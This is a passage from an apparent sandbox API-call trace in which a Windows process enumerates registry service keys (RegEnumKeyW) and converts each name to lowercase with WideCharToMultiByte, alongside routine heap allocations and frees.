Networking 4.0.0.0") returned 0x0 [0259.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0259.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0259.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.950] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0259.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0259.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f16e8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0259.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.950] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0259.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0259.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0259.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.950] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0259.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0259.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f16e8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0259.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.950] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.950] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0259.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.951] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0259.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0259.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.951] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0259.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0259.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.951] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0259.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0259.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.952] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0259.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0259.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0259.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.952] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0259.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0259.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.952] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0259.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0259.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.952] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0259.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0259.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.953] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0259.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0259.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.953] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0259.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0259.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.953] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0259.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0259.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.953] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0259.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0259.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.954] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0259.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0259.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.954] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0259.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0259.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.954] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0259.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0259.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.956] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0259.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0259.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.956] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0259.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, 